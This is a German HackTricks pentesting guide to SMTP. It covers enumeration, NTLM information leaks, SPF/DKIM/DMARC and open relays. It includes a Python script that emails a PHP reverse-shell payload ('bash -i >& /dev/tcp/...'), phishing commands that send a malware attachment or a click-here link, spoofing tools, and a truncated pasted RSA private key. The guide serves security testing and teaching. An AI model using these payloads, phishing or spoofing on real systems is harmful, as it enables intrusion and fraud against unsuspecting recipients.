hacktricks/network-services-pentesting/pentesting-smtp/README.md

608 lines
35 KiB
Markdown
Raw Normal View History

2022-05-01 13:25:53 +00:00
# 25,465,587 - Pentesting SMTP/s
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2024-01-02 18:28:27 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
2024-02-10 15:36:32 +00:00
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
**Sofort verfügbare Einrichtung für Schwachstellenbewertung und Penetrationstests**. Führen Sie einen vollständigen Pentest von überall aus mit 20+ Tools & Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- und Exploit-Module, um ihnen etwas Zeit zu geben, tiefer zu graben, Shells zu öffnen und Spaß zu haben.
{% embed url="https://pentest-tools.com/" %}
2024-02-10 15:36:32 +00:00
## **Grundlegende Informationen**
Das **Simple Mail Transfer Protocol (SMTP)** ist ein Protokoll, das innerhalb der TCP/IP-Suite für das **Senden und Empfangen von E-Mails** verwendet wird. Aufgrund seiner Einschränkungen beim Warten auf Nachrichten beim Empfänger wird SMTP häufig zusammen mit entweder **POP3 oder IMAP** eingesetzt. Diese zusätzlichen Protokolle ermöglichen es Benutzern, Nachrichten in einem Server-Postfach zu speichern und sie regelmäßig herunterzuladen.
In der Praxis ist es üblich, dass **E-Mail-Programme** **SMTP zum Senden von E-Mails** verwenden, während sie zum **Empfangen** **POP3 oder IMAP** nutzen. Auf Unix-basierten Systemen sticht **sendmail** als der am häufigsten für E-Mail-Zwecke verwendete SMTP-Server hervor. Das kommerzielle Paket namens Sendmail umfasst einen POP3-Server. Darüber hinaus bietet **Microsoft Exchange** einen SMTP-Server und die Möglichkeit, POP3-Unterstützung einzuschließen.
2024-02-10 15:36:32 +00:00
**Standardport:** 25,465(ssl),587(ssl)
```
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
```
2024-02-10 15:36:32 +00:00
### E-Mail-Header
Wenn Sie die Möglichkeit haben, **den Opfer dazu zu bringen, Ihnen eine E-Mail zu senden** (zum Beispiel über das Kontaktformular der Webseite), tun Sie es, denn **Sie könnten etwas über die interne Topologie** des Opfers erfahren, wenn Sie die Header der E-Mail sehen.
Sie können auch eine E-Mail von einem SMTP-Server erhalten, der versucht, **eine E-Mail an eine nicht existierende Adresse auf diesem Server zu senden** (weil der Server dem Angreifer eine NDN-E-Mail senden wird). Stellen Sie jedoch sicher, dass Sie die E-Mail von einer erlaubten Adresse senden (überprüfen Sie die SPF-Richtlinie) und dass Sie NDN-Nachrichten empfangen können.
Sie sollten auch **verschiedene Inhalte senden, da Sie möglicherweise interessantere Informationen** in den Headern finden können, wie z.B.: `X-Virus-Scanned: by av.domain.com`\
2024-02-10 15:36:32 +00:00
Sie sollten die EICAR-Testdatei senden.\
Das Erkennen des **Virenscanners** kann es Ihnen ermöglichen, **bekannte Schwachstellen auszunutzen.**
2024-02-10 15:36:32 +00:00
## Grundlegende Aktionen
2024-02-10 15:36:32 +00:00
### **Banner Grabbing/Grundlegende Verbindung**
**SMTP:**
```bash
nc -vn <IP> 25
```
**SMTPS**:
```bash
2020-09-23 19:24:09 +00:00
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
```
### Auffinden von MX-Servern eines Unternehmens
2024-02-10 15:36:32 +00:00
```bash
dig +short mx google.com
```
### Auflistung
```bash
nmap -p25 --script smtp-commands 10.10.10.10
2022-10-02 21:10:53 +00:00
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
### NTLM Auth - Informationsweitergabe
Wenn der Server NTLM-Authentifizierung (Windows) unterstützt, können Sie sensible Informationen (Versionen) erhalten. Weitere Informationen [**hier**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).
```bash
2024-02-10 15:36:32 +00:00
root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
```
2024-02-10 15:36:32 +00:00
Oder **automatisieren** Sie dies mit dem **nmap**-Plugin `smtp-ntlm-info.nse`
2024-02-10 15:36:32 +00:00
### Interner Servername - Offenlegung von Informationen
Einige SMTP-Server vervollständigen automatisch die Absenderadresse, wenn der Befehl "MAIL FROM" ohne vollständige Adresse ausgegeben wird, wodurch ihr interner Name offengelegt wird:
```
2024-02-10 15:36:32 +00:00
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
```
2022-05-01 13:25:53 +00:00
### Sniffing
Überprüfen Sie, ob Sie ein Passwort aus den Paketen zum Port 25 sniffen.
### [Auth bruteforce](../../generic-methodologies-and-resources/brute-force.md#smtp)
## Benutzername Bruteforce Enumeration
2024-02-10 15:36:32 +00:00
**Authentifizierung ist nicht immer erforderlich**
2022-05-01 13:25:53 +00:00
### RCPT TO
```bash
2024-02-05 02:28:59 +00:00
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
2024-02-05 02:28:59 +00:00
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok
```
2022-05-01 13:25:53 +00:00
### VRFY
VRFY (Verify) ist ein Befehl in SMTP (Simple Mail Transfer Protocol), der normalerweise verwendet wird, um die Gültigkeit einer E-Mail-Adresse zu überprüfen. Es kann von Hackern verwendet werden, um gültige E-Mail-Adressen auf einem Mailserver zu identifizieren. Es wird jedoch nicht mehr von allen Mailservern unterstützt, da es als Sicherheitsrisiko angesehen wird.
2024-02-05 02:28:59 +00:00
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
2024-02-05 02:28:59 +00:00
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
2024-02-05 02:28:59 +00:00
250 Super-User root@myhost
VRFY blah
550 blah... User unknown
```
2022-05-01 13:25:53 +00:00
### EXPN
Der EXPN-Befehl wird verwendet, um die vollständige E-Mail-Adresse eines bestimmten Postfachs auf dem SMTP-Server abzurufen. Dies kann dazu führen, dass sensible Informationen offengelegt werden, da der Server die tatsächliche E-Mail-Adresse zurückgibt, wenn die EXPN-Funktion aktiviert ist. Es ist wichtig, diese Funktion zu deaktivieren, um die Offenlegung von Informationen zu vermeiden.
2024-02-05 02:28:59 +00:00
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
2024-02-05 02:28:59 +00:00
250 2.1.5 ed.williams@myhost
EXPN sshd
2024-02-05 02:28:59 +00:00
250 2.1.5 sshd privsep sshd@myhost
```
2024-02-10 15:36:32 +00:00
### Automatische Tools
```
Metasploit: auxiliary/scanner/smtp/smtp_enum
2021-02-11 21:32:05 +00:00
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>
```
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
**Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall aus mit 20+ Tools & Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- & Exploit-Module, um ihnen etwas Zeit zu geben, tiefer zu graben, Shells zu öffnen und Spaß zu haben.
2024-01-11 13:23:18 +00:00
{% embed url="https://pentest-tools.com/" %}
2024-02-10 15:36:32 +00:00
## DSN-Berichte
**Zustellungsstatusbenachrichtigungsberichte**: Wenn Sie eine **E-Mail** an eine Organisation an eine **ungültige Adresse** senden, wird die Organisation Sie benachrichtigen, dass die Adresse ungültig war, indem sie Ihnen eine **E-Mail zurücksendet**. **Header** der zurückgesendeten E-Mail werden möglicherweise **sensible Informationen** enthalten (wie die IP-Adresse der Maildienste, die mit den Berichten interagiert haben, oder Informationen zur Antivirensoftware).
2024-02-10 15:36:32 +00:00
## [Befehle](smtp-commands.md)
2024-02-10 15:36:32 +00:00
### Senden einer E-Mail von der Linux-Konsole
2024-02-08 03:08:28 +00:00
```bash
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
2024-02-10 15:36:32 +00:00
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.
2024-02-08 03:08:28 +00:00
<phishing message>
```
2021-06-01 00:43:40 +00:00
```bash
2024-02-10 15:36:32 +00:00
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
```
### Senden einer E-Mail mit Python
<details>
2021-04-22 20:44:15 +00:00
<summary>Python-Code hier</summary>
2021-04-22 20:44:15 +00:00
```python
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys
lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587
# create message object instance
msg = MIMEMultipart()
# setup the parameters of the message
2024-02-10 15:36:32 +00:00
password = ""
2021-04-22 20:44:15 +00:00
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"
2024-02-10 15:36:32 +00:00
# payload
2021-04-22 20:44:15 +00:00
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
print("[*] Payload is generated : %s" % message)
msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)
if server.noop()[0] != 250:
2024-02-10 15:36:32 +00:00
print("[-]Connection Error")
exit()
2021-04-22 20:44:15 +00:00
server.starttls()
# Uncomment if log-in with authencation
# server.login(msg['From'], password)
server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()
print("[***]successfully sent email to %s:" % (msg['To']))
```
</details>
## SMTP-Schmuggel
Die SMTP-Schmuggel-Schwachstelle ermöglichte es, alle SMTP-Schutzmaßnahmen zu umgehen (weitere Informationen zu den Schutzmaßnahmen finden Sie im nächsten Abschnitt). Weitere Informationen zum SMTP-Schmuggel finden Sie unter:
{% content-ref url="smtp-smuggling.md" %}
[smtp-smuggling.md](smtp-smuggling.md)
{% endcontent-ref %}
## Maile Spoofing Gegenmaßnahmen
2021-04-22 20:44:15 +00:00
Organisationen werden daran gehindert, unbefugte E-Mails in ihrem Namen zu versenden, indem sie **SPF**, **DKIM** und **DMARC** einsetzen, da das Spoofing von SMTP-Nachrichten einfach ist.
Ein **vollständiger Leitfaden zu diesen Gegenmaßnahmen** ist unter [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/) verfügbar.
2022-05-01 13:25:53 +00:00
### SPF
2023-02-07 10:56:16 +00:00
{% hint style="danger" %}
SPF wurde 2014 "veraltet" (https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Dies bedeutet, dass anstelle eines **TXT-Eintrags** in `_spf.domain.com` ein Eintrag in `domain.com` mit der **gleichen Syntax** erstellt wird.\
Darüber hinaus ist es recht häufig, etwas wie `"v=spf1 include:_spf.google.com ~all"` zu finden, um frühere SPF-Einträge wiederzuverwenden.
2023-02-07 10:56:16 +00:00
{% endhint %}
**Sender Policy Framework** (SPF) ist ein Mechanismus, der es Mail Transfer Agents (MTAs) ermöglicht zu überprüfen, ob ein Host, der eine E-Mail sendet, autorisiert ist, indem er eine Liste autorisierter Mailserver abfragt, die von den Organisationen definiert wurden. Diese Liste, die IP-Adressen/Bereiche, Domains und andere Entitäten spezifiziert, die **autorisiert sind, E-Mails im Namen eines Domainnamens zu senden**, enthält verschiedene "**Mechanismen**" im SPF-Eintrag.
2020-09-26 12:22:07 +00:00
2024-02-10 15:36:32 +00:00
#### Mechanismen
2024-02-08 03:08:28 +00:00
Von [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
| Mechanismus | Beschreibung |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | Passt immer; wird für ein Standardergebnis wie `-all` für alle IPs verwendet, die nicht von vorherigen Mechanismen abgeglichen wurden. |
| A | Wenn der Domainname einen Adresseneintrag (A oder AAAA) hat, der auf die Adresse des Absenders aufgelöst werden kann, wird er abgeglichen. |
| IP4 | Wenn der Absender in einem bestimmten IPv4-Adressbereich ist, passt es. |
| IP6 | Wenn der Absender in einem bestimmten IPv6-Adressbereich ist, passt es. |
| MX | Wenn der Domainname einen MX-Eintrag hat, der auf die Adresse des Absenders auflöst, wird er abgeglichen (d.h. die E-Mail stammt von einem der eingehenden Mailserver der Domain). |
| PTR | Wenn der Domainname (PTR-Eintrag) für die Adresse des Clients in der angegebenen Domain ist und dieser Domainname auf die Adresse des Clients auflöst (forward-confirmed reverse DNS), passt es. Dieser Mechanismus wird nicht empfohlen und sollte vermieden werden, wenn möglich. |
| EXISTS | Wenn der angegebene Domainname zu einer beliebigen Adresse auflöst, passt es (unabhängig von der aufgelösten Adresse). Dies wird selten verwendet. Zusammen mit der SPF-Makrosprache bietet es komplexere Abgleiche wie DNSBL-Abfragen. |
| INCLUDE | Verweist auf die Richtlinie einer anderen Domain. Wenn die Richtlinie dieser Domain bestanden wird, wird dieser Mechanismus bestanden. Wenn jedoch die eingeschlossene Richtlinie fehlschlägt, wird die Verarbeitung fortgesetzt. Um die Richtlinie einer anderen Domain vollständig zu delegieren, muss die Weiterleitungs-Erweiterung verwendet werden. |
| REDIRECT | <p>Ein Redirect ist ein Zeiger auf einen anderen Domainnamen, der eine SPF-Richtlinie hostet, er ermöglicht es, dass mehrere Domains dieselbe SPF-Richtlinie teilen. Es ist nützlich, wenn mit einer großen Anzahl von Domains gearbeitet wird, die die gleiche E-Mail-Infrastruktur teilen.</p><p>Die SPF-Richtlinie der im Redirect-Mechanismus angegebenen Domain wird verwendet.</p> |
2020-09-26 12:22:07 +00:00
Es ist auch möglich, **Qualifizierer** zu identifizieren, die anzeigen, **was getan werden soll, wenn ein Mechanismus abgeglichen wird**. Standardmäßig wird der **Qualifizierer "+"** verwendet (daher bedeutet ein abgeglichener Mechanismus, dass er erlaubt ist).\
In der Regel finden Sie **am Ende jeder SPF-Richtlinie** etwas wie: **\~all** oder **-all**. Dies wird verwendet, um anzuzeigen, dass **wenn der Absender keiner SPF-Richtlinie entspricht, die E-Mail als nicht vertrauenswürdig markiert (\~) oder abgelehnt (-) werden sollte**.
2020-09-26 12:22:07 +00:00
#### Qualifizierer
2020-09-26 12:22:07 +00:00
Jeder Mechanismus innerhalb der Richtlinie kann mit einem der vier Qualifizierer versehen werden, um das beabsichtigte Ergebnis zu definieren:
2020-09-26 12:22:07 +00:00
* **`+`**: Entspricht einem PASS-Ergebnis. Standardmäßig nehmen Mechanismen diesen Qualifizierer an, sodass `+mx` äquivalent zu `mx` ist.
2024-02-10 15:36:32 +00:00
* **`?`**: Steht für ein NEUTRAL-Ergebnis, das ähnlich wie NONE (keine spezifische Richtlinie) behandelt wird.
* **`~`**: Kennzeichnet SOFTFAIL und dient als Mittelweg zwischen NEUTRAL und FAIL. E-Mails, die dieses Ergebnis erfüllen, werden in der Regel akzeptiert, aber entsprechend markiert.
* **`-`**: Zeigt FAIL an und legt nahe, dass die E-Mail abgelehnt werden sollte.
Im folgenden Beispiel wird die **SPF-Richtlinie von google.com** veranschaulicht. Beachten Sie die Einbeziehung von SPF-Richtlinien aus verschiedenen Domains innerhalb der ersten SPF-Richtlinie:
2022-10-12 12:28:51 +00:00
```shell-session
2024-02-05 02:28:59 +00:00
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
2020-09-26 10:55:36 +00:00
2024-02-05 02:28:59 +00:00
dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com. IN TXT
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
2020-09-26 10:55:36 +00:00
2024-02-05 02:28:59 +00:00
dig txt _netblocks.google.com | grep spf
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
2020-09-26 10:55:36 +00:00
2024-02-05 02:28:59 +00:00
dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
2020-09-26 10:55:36 +00:00
2024-02-05 02:28:59 +00:00
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
```
Traditionell war es möglich, jede Domain zu fälschen, die keinen korrekten/keinen SPF-Eintrag hatte. **Heutzutage** wird eine **E-Mail von einer Domain ohne gültigen SPF-Eintrag** wahrscheinlich automatisch **abgelehnt/als nicht vertrauenswürdig markiert**.
Um den SPF einer Domain zu überprüfen, können Sie Online-Tools wie: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) verwenden.
2024-02-05 02:28:59 +00:00
### DKIM (DomainKeys Identified Mail)
DKIM wird verwendet, um ausgehende E-Mails zu signieren, was ihre Validierung durch externe Mail Transfer Agents (MTAs) ermöglicht, indem der öffentliche Schlüssel der Domain aus dem DNS abgerufen wird. Dieser öffentliche Schlüssel befindet sich in einem TXT-Eintrag der Domain. Um auf diesen Schlüssel zuzugreifen, muss man sowohl den Selektor als auch den Domainnamen kennen.
Um beispielsweise den Schlüssel anzufordern, sind der Domainname und der Selektor unerlässlich. Diese Informationen finden sich im E-Mail-Header `DKIM-Signature`, z. B. `d=gmail.com;s=20120113`.
Ein Befehl zum Abrufen dieser Informationen könnte so aussehen:
2022-10-12 12:28:51 +00:00
```bash
dig 20120113._domainkey.gmail.com TXT | grep p=
2024-02-05 02:28:59 +00:00
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
```
2024-02-05 02:28:59 +00:00
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
DMARC verbessert die E-Mail-Sicherheit, indem es auf den SPF- und DKIM-Protokollen aufbaut. Es umreißt Richtlinien, die Mailserver bei der Behandlung von E-Mails aus einer bestimmten Domäne anleiten, einschließlich der Handhabung von Authentifizierungsfehlern und der Bestimmung, wohin Berichte über E-Mail-Verarbeitungsaktionen gesendet werden sollen.
**Um den DMARC-Eintrag zu erhalten, müssen Sie das Subdomäne \_dmarc abfragen**
2024-02-05 02:28:59 +00:00
```bash
# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"
2020-09-26 10:54:55 +00:00
2024-02-05 02:28:59 +00:00
# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"
2020-09-26 10:54:55 +00:00
2024-02-05 02:28:59 +00:00
# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
```
2024-02-10 15:36:32 +00:00
#### DMARC-Tags
2024-02-10 15:36:32 +00:00
| Tag-Name | Zweck | Beispiel |
| -------- | --------------------------------------------- | ------------------------------- |
2024-02-10 15:36:32 +00:00
| v | Protokollversion | v=DMARC1 |
| pct | Prozentsatz der Nachrichten, die einer Filterung unterzogen werden | pct=20 |
| ruf | Berichts-URI für forensische Berichte | ruf=mailto:authfail@example.com |
| rua | Berichts-URI von aggregierten Berichten | rua=mailto:aggrep@example.com |
| p | Richtlinie für die Organisationsdomäne | p=quarantine |
| sp | Richtlinie für Subdomänen der OD | sp=reject |
| adkim | Ausrichtungsmodus für DKIM | adkim=s |
| aspf | Ausrichtungsmodus für SPF | aspf=r |
2024-02-10 15:36:32 +00:00
### **Was ist mit Subdomänen?**
**Von** [**hier**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
Sie müssen separate SPF-Einträge für jede Subdomäne haben, von der aus Sie E-Mails senden möchten.\
Der folgende Text wurde ursprünglich auf openspf.org veröffentlicht, das früher eine großartige Ressource für solche Dinge war.
2024-02-10 15:36:32 +00:00
> Die Dämonenfrage: Was ist mit Subdomänen?
2020-09-26 12:22:07 +00:00
>
> Wenn ich eine E-Mail von pielovers.demon.co.uk erhalte und es keine SPF-Daten für pielovers gibt, sollte ich dann eine Ebene zurückgehen und SPF für demon.co.uk testen? Nein. Jede Subdomäne bei Demon ist ein anderer Kunde, und jeder Kunde könnte seine eigene Richtlinie haben. Es würde keinen Sinn machen, wenn die Richtlinie von Demon standardmäßig für alle Kunden gelten würde; wenn Demon das tun möchte, kann es SPF-Einträge für jede Subdomäne einrichten.
2020-09-26 12:22:07 +00:00
>
> Daher lautet der Rat an SPF-Verleger: Sie sollten für jede Subdomäne oder jeden Hostnamen einen SPF-Eintrag hinzufügen, der über einen A- oder MX-Eintrag verfügt.
2020-09-26 12:22:07 +00:00
>
> Websites mit Platzhalter-A- oder MX-Einträgen sollten auch einen Platzhalter-SPF-Eintrag haben, in der Form: \* IN TXT "v=spf1 -all"
2020-09-26 12:22:07 +00:00
Das ergibt Sinn - eine Subdomäne kann sich durchaus an einem anderen geografischen Standort befinden und eine sehr unterschiedliche SPF-Definition haben.
2022-10-02 21:10:53 +00:00
2024-02-10 15:36:32 +00:00
### **Offenes Relay**
2024-02-08 03:08:28 +00:00
Beim Versenden von E-Mails ist es entscheidend, sicherzustellen, dass sie nicht als Spam markiert werden. Dies wird oft durch die Verwendung eines **Relay-Servers erreicht, der vom Empfänger vertraut wird**. Eine häufige Herausforderung besteht jedoch darin, dass Administratoren möglicherweise nicht vollständig darüber im Bilde sind, welche **IP-Bereiche sicher zuzulassen sind**. Dieses mangelnde Verständnis kann zu Fehlern bei der Einrichtung des SMTP-Servers führen, ein Risiko, das in Sicherheitsbewertungen häufig identifiziert wird.
2022-10-02 21:10:53 +00:00
Ein Workaround, den einige Administratoren verwenden, um Probleme bei der E-Mail-Zustellung zu vermeiden, insbesondere im Zusammenhang mit der Kommunikation mit potenziellen oder laufenden Kunden, besteht darin, **Verbindungen von jeder IP-Adresse zuzulassen**. Dies wird durch Konfigurieren des Parameters `mynetworks` des SMTP-Servers erreicht, um alle IP-Adressen zu akzeptieren, wie unten gezeigt:
2024-02-05 02:28:59 +00:00
```bash
2022-10-02 21:10:53 +00:00
mynetworks = 0.0.0.0/0
```
Um zu überprüfen, ob ein Mail-Server ein offenes Relay ist (was bedeutet, dass er E-Mails von jeder externen Quelle weiterleiten könnte), wird häufig das `nmap`-Tool verwendet. Es enthält ein spezifisches Skript, das für diesen Test entwickelt wurde. Der Befehl für einen ausführlichen Scan auf einem Server (zum Beispiel mit der IP 10.10.10.10) auf Port 25 mit `nmap` lautet:
2022-10-02 21:10:53 +00:00
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
2024-02-10 15:36:32 +00:00
### **Werkzeuge**
2022-10-02 21:10:53 +00:00
2024-02-10 15:36:32 +00:00
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Überprüfen Sie SPF- und DMARC-Fehlkonfigurationen**
* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Erhalten Sie automatisch SPF- und DMARC-Konfigurationen**
2024-02-05 02:28:59 +00:00
2024-02-10 15:36:32 +00:00
### Spoof-E-Mail senden
2022-10-12 12:28:51 +00:00
* [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
2023-02-07 10:56:16 +00:00
* [**http://www.anonymailer.net/**](http://www.anonymailer.net)
2024-02-08 03:08:28 +00:00
* [**https://emkei.cz/**](https://emkei.cz/)
2022-10-12 12:28:51 +00:00
2024-02-10 15:36:32 +00:00
**Oder Sie könnten ein Tool verwenden:**
2022-10-12 12:28:51 +00:00
2024-02-08 03:08:28 +00:00
* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)
2022-10-12 12:28:51 +00:00
```bash
# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
```
{% hint style="warning" %}
Wenn Sie einen Fehler bei der Verwendung der dkim Python-Bibliothek beim Parsen des Schlüssels erhalten, können Sie gerne den folgenden verwenden.\
**HINWEIS**: Dies ist nur eine schnelle Lösung, um schnelle Überprüfungen durchzuführen, falls aus irgendeinem Grund der OpenSSL-Privatschlüssel **nicht von dkim geparst werden kann**.
2022-10-12 12:28:51 +00:00
```
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
